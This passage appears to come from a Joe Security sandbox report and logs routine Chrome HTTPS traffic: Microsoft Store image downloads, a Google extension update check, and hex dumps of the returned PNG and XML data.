Data Ascii: PNGIHDR,,y}upHYssRGBgAMAaIDATxUx{%-Knm[vdjc'X2C`b2M?v%$`2BA2`YmK),%k^~wmY#}KU}
UN:EK.]tK.]tK.]tK.]t

2022-06-08 07:54:03 UTC 590 IN Data Raw: cc 93 02 ab d3 08 d2 0b cf 2b 04 5c b6 97 eb f5 f1 c7 1f cf 8c eb 0f fe e0 0f 5e 71 d6 ae ed 17 2c 2c 2e a7 3d 
21 a5 46 48 1d 52 2b 86 52 31 1b 30 61 d1 4c 76 65 97 a9 c1 de 98 11 57 46 f7 5c af 81 1a 96 56 a7 27 3f 61 36 c0 d3 30 
3f 2f 4b cf fe 16 04 64 28 b1 00 23 30 2b 4f 5c 4b b1 b4 bc 74 e7 ef fe d6 7f f8 6c fa 2b b2 d3 fc 5e 74 2b af f5 68 bf 4a d2 
19 56 23 b1 1d 5c 95 9c 44 57 d7 12 60 25 87 d1 b2 d9 84 8d b8 36 da 51 65 7f d0 96 a8 56 0e 60 4d 6a 8b d2 46 cf 36 
c2 e3 08 ee 8d b4 48 36 88 7b 74 4b 6d e3 c8 e0 ca bd 64 ac 22 45 29 f5 0e 91 13 61 46 f6 c6 72 cf e0 1d 44 d9 a3 31 36 
92 6d c4 94 6c 51 f2 a2 be 5d 17 d5 9a 27 f5 81 03 07 86 68 9f 7a 46 3a 45 5e 92 22 11 1b c8 d7 be a9 01 79 1c 6d 5f e3 
cb 2f bf fc cd 1a 1b 2c 45 7d 4d 2e 14 64 6c 63 f0 
Data Ascii: +\^q,,.=!FHR+R10aLveWF\V'?a60?/Kd(#0+O\Ktl+^t+hJV#\DW`%6QeV`MjF6H6{tKmd"E)aFrD16mlQ]'hzF
:E^"ym_/,E}M.dlc

2022-06-08 07:54:03 UTC 598 IN Data Raw: 04 67 8f e4 e7 14 8c 42 35 f8 b0 b3 b8 00 37 31 bb 49 01 51 3f fd 73 ea b8 d9 af 6c 39 4e 72 16 dd bb 77 ef 86 
75 67 50 d9 28 0c 2b bd e4 bc 8b f0 d2 d2 4a 09 5b a2 33 51 d2 68 92 ba 33 72 fb 46 19 8d 85 51 e1 4e d0 6a a5 60 33 8f 
e4 36 6f aa 13 11 9b 0d c4 9a 60 70 f7 a1 91 35 4e 27 24 d8 57 fc 1e 21 21 76 65 f1 db 0a 4a eb ac df 05 df 5b 30 d8 6a 
13 98 fb 57 4d c5 81 09 f3 81 c9 2b 1b b6 6d 37 eb ca 3e 9c 53 63 35 9e ab a7 be 82 44 4e b3 c4 0b 63 59 9e 1c e0 21 65 
e9 0a 58 6d f4 19 58 76 9e 36 03 fe e0 66 9f c6 37 cd 8a 6c 15 e3 b3 6f 8c ec 49 a1 13 1a c0 0c 4e e2 93 2b 70 44 1f 1a 
0d e4 dc 24 a3 60 a3 f6 32 b4 63 11 b9 0d 6c 04 76 2e fb 96 44 94 8d 2b aa d9 35 f1 aa 3b ee bc fd 3a 6a b6 f3 4a a7 65 
ff c1 0d 2d 1b 02 b0 12 bb 2a 51 2c d7 28 85 de 4d 6b 
Data Ascii: gB571IQ?sl9NrwugP(+J[3Qh3rFQNj`36o`p5N'$W!!veJ[0jWM+m7>Sc5DNcY!eXmXv6f7loIN+pD$`2clv.D+5
;:jJe-*Q,(Mk

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

37 192.168.2.3 49750 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:54:03 UTC 610 OUT GET /image/apps.59367.13510798885854323.dbec43fa-fcea-4036-9b1c-96de66922c18.da850a8e-5b3f-49fd-b3dc-
6a8c0db400e4?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-06-08 07:54:03 UTC 610 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 45735
Content-Type: image/png
Last-Modified: Wed, 04 Nov 2020 14:51:15 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDg4MEQxMTQ2RkU2Q0E"
MS-CV: hrPmTcUjH02eZ8TI.0
Access-Control-Expose-Headers: MS-CV
Date: Wed, 08 Jun 2022 07:54:03 GMT
Connection: close
Access-Control-Allow-Origin: *
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2022-06-08 07:54:03 UTC 610 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 02 00 00 00 68 9f a7 5f 00 00 00 
09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 08 ae 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 
78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 
70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 
3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 4
3 6f 72 65 20 35 2e 36 2d 63 31 34 35 20 37 39 2e 31 36 33 34 39 39 2c 20 32 30 31 38 2f 30 38 2f 31 33 2d 31 36 3a 34 
30 3a 32 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 
Data Ascii: PNGIHDRh_pHYs.#.#x?viTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22        "> 
<rdf:RD

2022-06-08 07:54:03 UTC 626 IN Data Raw: 71 48 56 59 06 10 b7 b9 3e c3 71 1d 54 28 bc 80 59 82 73 08 c8 36 41 b2 59 ad 39 5f 28 1c 99 9a cd bf fe b7 
c7 76 5c d7 e8 9e 6f 1c 7a a6 bf af 20 05 20 33 c4 cd 74 78 a3 db 7a c3 a1 1f fe c3 b1 3f fb e8 2e ec 86 95 80 2c 49 01 88 
ec 08 d8 13 18 64 e3 f7 40 a2 37 e2 06 19 5c 53 00 aa 68 69 d1 0a a1 85 d2 a8 23 30 75 d0 a5 7d 57 4f 3c 79 b2 31 bf 1a 
47 81 cc 22 33 d9 83 b0 33 47 b9 88 11 3b ad 16 20 30 09 a5 30 b5 46 48 1d 06 7e a3 9d ee 1f c4 bd e3 e5 96 41 a9 b5 
f6 3d 21 b3 31 67 90 4a 09 ad 50 29 97 98 e2 e6 91 ea 86 d1 e7 be f0 af 05 c1 63 b7 bf 9a 9c 65 66 21 84 94 a2 34 3e 3a 
76 eb cd 5b 7f e6 dd 1b df f1 53 d1 fa 1d ad 4e 70 e9 e0 d9 93 df 7f ea e4 f7 1e 5b 7a f8 d9 74 b9 5e de 38 a6 cb b9 b4 d1 
4c d3 44 23 ba d9 8b 1f f8 8b 7f 9b 6a 13 04 fd 6f da 
Data Ascii: qHVY>qT(Ys6AY9_(v\oz  3txz?.,Id@7\Shi#0u}WO<y1G"33G; 00FH~A=!1gJP)cef!4>:v[SNp[zt^8LD#jo

2022-06-08 07:54:03 UTC 634 IN Data Raw: ae 59 b7 5e fa 01 92 23 29 c5 ba 75 86 b9 b5 b2 6c 89 c2 30 3c dc 6e 5d 48 d3 f3 ce 1e 05 78 f3 cf bd f7 ff b9 
e7 3b fb 5e f5 2a 01 10 c7 31 38 57 1c 99 e8 16 6e ba f7 13 7f f1 f8 f7 26 ff f5 de 99 17 1e 3e b9 47 3c 11 6c d9 06 63 b7 
b9 f3 4f cf 7f bf b5 25 57 4d eb 53 d5 37 be 43 59 28 cd 5f 7a 69 b6 3b fd cd e9 09 73 6d 65 e0 77 e2 ce a6 87 4e af 84 8b 
47 4b 79 e1 8f 8e cb 42 09 64 84 32 44 1d 82 d4 d9 32 69 60 5a db bd e1 d8 11 90 43 22 a6 1e 41 0e 10 b1 35 59 82 cc 
c6 32 64 47 e8 90 1d 93 23 e7 98 18 ac 03 66 76 8e ad 03 26 48 1d 91 60 72 2e b5 64 1d a5 44 29 93 23 97 c9 c8 11 19 
26 c8 c8 42 d6 0a 7d 16 52 03 b4 b6 ed 80 01 8c 05 43 e0 2c 10 a1 45 70 0e 1d a3 63 b4 2c 2c 4b 87 c2 a1 76 a8 50 69 
3f 0c c2 20 18 dd 75 d3 81 73 8f 3d fb e2 19 61 c9 16 01 
Data Ascii: Y^#)ul0<n]Hx;^*18Wn&>G<lcO%WMS7CY(_zi;smewNGKyBd2D2i`ZC"A5Y2dG#fv&H`r.dD)#&B}RC,Epc,,KvP
i? us=a

2022-06-08 07:54:03 UTC 650 IN Data Raw: 7b f9 c2 e7 ff fc 75 5e ab 11 cc 69 14 45 81 eb 97 5c bf 3f 1c 18 8c da bd 6e 7b 65 85 52 1a f9 81 e7 79 be e7 
07 be 1f 79 be cb b9 94 d2 a3 54 6b 2d a5 d4 08 5b 03 da 58 ad 75 9e e6 59 92 f0 38 a6 8e 83 19 c3 88 02 10 0b 0a 01 
06 8a f7 12 42 4c 00 23 8c b0 83 09 26 24 a3 f4 e4 7b 3f 50 bd f4 c3 97 bf fe 87 af dc be d6 f9 f8 cf 1c 3c 72 72 bc 56 2f 8f 
4d 3a 03 3f ee 77 95 14 23 9d 9c 31 d6 23 8c bb 2a cf a5 36 56 5a 84 11 41 84 50 0a cc 5a 63 1c 25 3d a9 7d a1 72 6c 72 
65 52 ac 12 89 32 8e 0b 38 4f a9 23 c3 71 cc dd 24 69 0e 20 a6 65 04 ca 68 29 75 5a 76 a5 ad a7 fa 70 22 74 26 64 9a 
66 e9 70 20 95 92 88 49 05 22 cf b2 5e 7b b7 df 6a e4 09 48 01 80 90 eb 61 ee 52 ca a9 4a b0 cc 0d 75 6c d5 07 a7 80 
bc 92 57 a8 56 cb b5 42 6d ac 50 ae 85 61 e4 3b cc a1 98 
Data Ascii: {u^iE\?n{eRyyTk-[XuY8BL#&${?P<rrV/M:?w#1#*6VZAPZc%=}rlreR28O#q$i eh)uZvp"t&dfp I"^{jHaRJ
ulWVBmPa;

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

38 192.168.2.3 49752 142.250.203.110 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:54:17 UTC 655 OUT GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=
&prodversion=85.0.4183.121&lang=en-US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%
3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dpkedcjkdefgpdelp
bcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1
Host: clients2.google.com
Connection: keep-alive
X-Goog-Update-Interactivity: fg
X-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda,pkedcjkdefgpdelpbcmbmeomcjbeemfm
X-Goog-Update-Updater: chromecrx-85.0.4183.121
Sec-Fetch-Site: none
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

39 142.250.203.110 443 192.168.2.3 49752 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

Copyright Joe Security LLC 2022 Page 95 of 211



2022-06-08 07:54:17 UTC 656 IN HTTP/1.1 200 OK
Content-Security-Policy: script-src 'report-sample' 'nonce-XdQxzrmoIZ_UT6fpwWA_Nw' 'unsafe-inline' 'strict-dynamic' http
s: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Wed, 08 Jun 2022 07:54:17 GMT
Content-Type: text/xml; charset=UTF-8
X-Daynum: 5637
X-Daystart: 3257
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked

2022-06-08 07:54:17 UTC 657 IN Data Raw: 33 36 63 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 
54 46 2d 38 22 3f 3e 3c 67 75 70 64 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 
2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6c 3d 22 32 2e 30 22 20 73 65 
72 76 65 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6c 61 70 73 65 64 5f 64 61 79 73 3d 22 35 36 33 
37 22 20 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 33 32 35 37 22 2f 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 6e 
6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 22 20 63 6f 68 6f 72 74 
3d 22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22 20 
Data Ascii: 36c<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" p
rotocol="2.0" server="prod"><daystart elapsed_days="5637" elapsed_seconds="3257"/><app appid="nmmhkkegccagdldg
iimedpiccmgmieda" cohort="1::" cohortname="" 

2022-06-08 07:54:17 UTC 657 IN Data Raw: 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 2e 63 72 78 22 20 66 
70 3d 22 31 2e 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31 
37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 68 61 73 68 5f 73 68 
61 32 35 36 3d 22 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 
31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 70 72 6f 74 65 63 
74 65 64 3d 22 30 22 20 73 69 7a 65 3d 22 32 34 38 35 33 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 65 72 73 69 
6f 6e 3d 22 31 2e 30 2e 30 2e 36 22 2f 3e 3c 2f 61 70 70 3e 3c 61 70 70 20 
Data Ascii: kkegccagdldgiimedpiccmgmieda.crx" fp="1.81e3a4d43a73699e1b7781723f56b8717175c536685c5450
122b30789464ad82" hash_sha256="81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" pro
tected="0" size="248531" status="ok" version="1.0.0.6"/></app><app 

2022-06-08 07:54:17 UTC 658 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

4 192.168.2.3 49708 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:53:52 UTC 57 OUT GET /image/apps.16574.13571498826857201.00a9d390-581f-492c-b148-b2ce81649480.6a6f592e-efa9-4bb0-b008-
7c3422ab3313?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-06-08 07:53:52 UTC 62 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 1493
Content-Type: image/png
Last-Modified: Mon, 30 Aug 2021 15:07:39 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk2QkM3RThDNTBCMzY"
MS-CV: WqthG07BiE+6pHh5.0
Access-Control-Expose-Headers: MS-CV
Date: Wed, 08 Jun 2022 07:53:52 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-06-08 07:53:52 UTC 62 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 03 00 00 00 d0 23 c0 3a 00 00 
02 58 50 4c 54 45 1d b9 54 ff ff ff fe fe fe 1f b9 56 f8 fd fa a4 e3 ba fa fd fb 2c bd 5f 24 bb 59 b7 e8 c8 61 ce 87 9f e1 b6 1e 
b9 55 fd fe fd 21 ba 57 2f be 62 6a d1 8f d3 f1 de 82 d8 a1 5e cd 85 c8 ee d6 fc fe fc 22 ba 58 24 bb 5a d5 f2 df f9 fd fa 20 
ba 56 47 c6 74 f7 fc f9 23 ba 58 ba e9 cb ec f9 f0 cb ef d8 4c c7 78 91 dc ab bf eb ce db f4 e4 28 bc 5c 73 d3 95 d9 f3 e2 
2a bd 5e cc ef d8 9b e0 b3 cf f0 da e1 f5 e8 2e be 61 cd ef d9 68 d0 8d 80 d7 9f e5 f7 eb df f5 e7 e0 f5 e8 46 c5 73 eb f8 f0 
ed f9 f1 53 c9 7c de f4 e6 b8 e9 c9 9d e0 b5 a1 e1 b7 e7 f7 ec 49 c6 75 64 cf 8a 5c cc 84 be ea ce ef fa f2 f0 fa f4 d0 f0 dc 
57 cb 80 7f d7 9e f4 fb f6 42 
Data Ascii: PNGIHDR#:XPLTETV,_$YaU!W/bj^"X$Z VGt#XLx(\s*^.ahFsS|Iud\WB
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

40 192.168.2.3 49764 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:54:29 UTC 658 OUT GET /image/apps.62687.13510798885854323.6a8c11ad-84e9-4247-9ba9-ab3742bdbb87.e61dfadd-3bdd-4f66-beb1-
6bb763b60b02?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-06-08 07:54:29 UTC 658 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 142254
Content-Type: image/png
Last-Modified: Mon, 10 Jun 2019 11:14:58 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDZFRDk0REZGNkE2RjM"
MS-CV: 3ZtNXbGcZUui37wn.0
Access-Control-Expose-Headers: MS-CV
Date: Wed, 08 Jun 2022 07:54:29 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-06-08 07:54:29 UTC 658 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 0e 00 00 01 0e 08 02 00 00 00 f7 d3 6e f2 00 00 00 
09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 0a 4f 69 43 43 50 50 68 6f 74 6f 73 68 6f 70 20 49 43 43 20 
70 72 6f 66 69 6c 65 00 00 78 da 9d 53 67 54 53 e9 16 3d f7 de f4 42 4b 88 80 94 4b 6f 52 15 08 20 52 42 8b 80 14 91 26 
2a 21 09 10 4a 88 21 a1 d9 15 51 c1 11 45 45 04 1b c8 a0 88 03 8e 8e 80 8c 15 51 2c 0c 8a 0a d8 07 e4 21 a2 8e 83 a3 
88 8a ca fb e1 7b a3 6b d6 bc f7 e6 cd fe b5 d7 3e e7 ac f3 9d b3 cf 07 c0 08 0c 96 48 33 51 35 80 0c a9 42 1e 11 e0 83 
c7 c4 c6 e1 e4 2e 40 81 0a 24 70 00 10 08 b3 64 21 73 fd 23 01 00 f8 7e 3c 3c 2b 22 c0 07 be 00 01 78 d3 0b 08 00 c0 4d 
9b c0 30 1c 87 ff 0f ea 42 99 5c 01 80 84 01 c0 74 91 38 4b 
Data Ascii: PNGIHDRnpHYs.#.#x?vOiCCPPhotoshop ICC profilexSgTS=BKKoR RB&*!J!QEEQ,!{k>H3Q5B.@$pd!s#~<
<+"xM0B\t8K

2022-06-08 07:54:29 UTC 674 IN Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
Data Ascii:                                                                                                                                                                         
                                                                                     

2022-06-08 07:54:29 UTC 690 IN Data Raw: 98 24 56 a1 ef 59 0b 49 aa 90 61 10 04 0c a1 d3 e9 65 be 2f 70 a5 31 56 29 5d ad 55 84 14 48 44 d6 26 49 0a 
44 5c 0a d7 f1 2a 41 b8 b9 dd 22 ab 1d 29 3b dd de fc c2 5c 18 06 2f bd 74 5a 30 b4 d6 0a e9 70 c6 06 83 01 08 21 18 1d 
99 72 1b ae f4 99 f5 24 33 8c 47 16 99 22 96 25 87 c6 12 59 6e ed e1 49 ff f0 84 f7 3d 47 27 ae b5 a2 33 ab fd 97 56 3a 
67 d7 07 db fd f4 56 fa 07 13 7c 6a b2 2e 1d 71 fd c6 7a bf 1f 51 21 08 2f 39 73 90 75 06 f1 20 89 03 57 02 00 43 71 f1 ea 
cd 41 92 86 be cf 48 45 91 dd d8 6e f7 e3 78 b2 16 00 19 ce a0 d5 e9 6d b6 da 3f ff f0 ac 26 b3 36 80 25 6b d6 d7 d6 6f 
5c bf ae b5 56 2a dd da de 52 49 8a 88 83 c1 60 d0 ef 75 da 3b 4a 93 49 95 ef 88 9d 5e 6c 81 b4 d6 2a 55 9d 6e 27 8e e3 
7a bd a1 b5 01 20 5e 4c aa e4 5c 64 a3 2b a6 67 e6 24 
Data Ascii: $VYIae/p1V)]UHD&ID\*A");\/tZ0p!r$3G"%YnI=G'3V:gV|j.qzQ!/9su WCqAHEnxm?&6%ko\V*RI`u;JI^l*Un'z 
^L\d+g$

2022-06-08 07:54:29 UTC 692 IN Data Raw: 8e 83 52 40 a1 e0 41 da 90 4a b2 99 79 2e c7 b9 5a c5 0f bc 14 78 5f 43 37 b6 8e 14 13 b5 60 69 61 52 2b bd 
b6 dd de d8 6c c5 51 5c af 85 d5 66 4d a7 09 43 ac d5 e5 f2 1e f6 e0 71 8c 12 bd d5 49 2e ac 75 6f 6c f7 8f cf f8 4d 5f de 
1c d8 b7 1c 99 ba b4 d1 bf d9 8e 57 37 77 00 e0 8e 99 f0 03 f7 ce 9d bc d9 3d 75 b3 e7 fb 3e 00 ad 6c b4 97 67 82 7f f9 
b7 1f 98 6c 04 17 b6 36 3b b1 8e 35 4a 97 6b ad 77 da dd 24 55 81 1f 0e a2 48 6b 25 a5 34 26 1b f5 a7 ad 25 6d 0c 2a 32 
84 46 53 92 c6 c6 e8 5e b7 e3 38 ae 10 b2 db ed 6a a5 8d b5 04 94 24 49 1c c7 b5 5a 6d d0 ef ed 3f 78 c4 97 a0 e3 b1 5a 
ca 6e 4a d2 6b 97 23 6f ff e2 ed 9a c0 4a 75 c9 dd a9 7c 99 50 b8 8b b0 3c a6 ea 82 63 9e 84 0d 9b c3 4a 61 5b 6e 1b 58 
2e 41 92 b1 79 ce 6d 33 78 97 03 23 60 36 37 ad dc 3c 
Data Ascii: R@AJy.Zx_C7`iaR+lQ\fMCqI.uolM_W7w=u>lgl6;5Jkw$UHk%4&%m*2FS^8j$IZm?xZnJk#oJu|P<cJa[nX.Aym
3x#`67<

2022-06-08 07:54:29 UTC 708 IN Data Raw: fa 6a 27 e9 58 03 e7 34 b0 06 68 50 93 a6 20 56 51 65 6a 27 06 9c 3b ef 25 04 0a 30 36 61 96 a0 aa ea 00 9e 
32 b2 39 1e 88 6d 0b dc 2f 96 56 d6 9f b8 f0 fe 9b d7 83 68 c6 24 44 4c 7a 48 f4 6a 5a 00 45 00 02 69 0c eb 0a 22 26 b7 
d9 62 7b 36 0b e3 ad 71 c2 52 e4 96 1b 55 a4 2a 98 94 11 44 34 10 02 21 08 82 68 68 08 5e e2 29 6f 07 20 80 c2 9d ab 
1a 42 a8 cb de c9 b3 59 bb f3 d0 62 b1 75 c0 2f 6d d6 c6 70 33 5f 12 8d a9 15 7a 74 56 ee 0a 30 d2 43 2c e6 3c 83 49 61 
1b 33 17 0e 33 ce 1b 0d 9f 73 4e 45 c8 18 c3 cd 5e 86 99 54 e0 bd 87 c6 63 83 78 c6 d8 34 e8 96 10 fc 62 2b 6d a5 7c f7 
80 4b 71 97 fc 26 9e 18 55 0d a2 22 1a 82 b2 51 e2 08 61 26 51 41 88 9d dc dc d6 ab 77 6d 5f 0e 07 7f 74 c4 f2 92 79 5d 
1b 15 b8 12 48 05 9a 82 18 96 90 e4 e0 1c 1a a2 82 a5 99 77 
Data Ascii: j'X4hP VQej';%06a29m/Vh$DLzHjZEi"&b{6qRU*D4!hh^)o BYbu/mp3_ztV0C,<Ia33sNE^Tcx4b+m|Kq&U"Q
a&QAwm_ty]Hw

2022-06-08 07:54:29 UTC 720 IN Data Raw: a1 6c d8 4e 43 b0 12 7e e8 de 64 b5 3d fa d6 2b 3c 9b 2d fe c0 0f 26 9f fc 5c 3d 1a b8 8d 5b 3c 18 e0 e6 0d 37 
1a 4e 27 b3 e9 d6 f6 74 6b bb 9c 56 0e b0 40 ef c4 6a ff c9 fb 57 7e e8 c3 8b 1f bd df f6 33 37 1c f8 dd 99 36 dd be 77 ae 
d2 e0 ab c1 c1 5b 2f bd fa b7 bf 76 e9 3b b7 6a 00 dd 5e 97 99 76 77 07 69 9a 1a c3 d3 89 e3 34 5b 6f 49 2f a5 a0 0c 8a 
b9 2d b1 dc 8b e0 22 d5 20 5a 4f 65 74 87 d9 2a 8b c6 38 21 6d f8 67 94 b4 61 ac fa 0a c4 1c 43 82 1b c3 0c 35 a6 f9 e0 
29 cd f4 e0 75 f8 09 ad 3c a5 9c 13 29 19 0b 4e e7 d9 52 02 b6 e0 04 50 b8 09 c2 0c d5 16 c4 c3 58 22 85 04 b0 c2 30 84 
41 99 06 07 32 c8 5a 08 53 f8 0a 9c 80 69 6b 73 44 ab 8f 64 eb 0f 13 82 c9 5f 0d ee 40 17 2e 6a fa dd 83 1b ef 4e b6 af 
b4 57 16 83 93 e9 e6 8d 9c 7d ab 53 90 77 60 03 28 
Data Ascii: lNC~d=+<-&\=[<7N'tkV@jW~376w[/v;j^vwi4[oI/-" ZOet*8!mgaC5)u<)NRPX"0A2ZSiksDd_@.jNW}Sw`(
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2022-06-08 07:54:29 UTC 736 IN Data Raw: 3b 0e 8f 1e a9 5d e6 ea e4 48 bd 8d 25 b0 b2 86 d6 13 16 e7 93 ca 91 72 a2 2a c2 41 3d 07 92 00 38 5f 33 85 
ea f6 e6 de 1b 57 b7 0c 82 05 48 54 99 e8 ce 20 78 6e 98 8e ed de 8b a5 31 10 30 6c 92 5f bc 7c 71 eb ca d5 a7 1e 7c 
68 61 fd d8 be c8 d6 5f 3d 7f e3 89 c7 6f fd 4f ff 34 fb cc 67 97 41 45 f0 5f d9 b8 7d 7a 34 ba 6b 75 b5 d3 e9 16 65 69 99 
1f 39 71 b2 0c fe b5 bd dd 62 c3 9f ad aa 63 c7 4f dc 7b ea d4 c5 da b9 e9 d4 95 05 03 db 1f fe ed d9 ab 6f 4c af 5c d9 77 
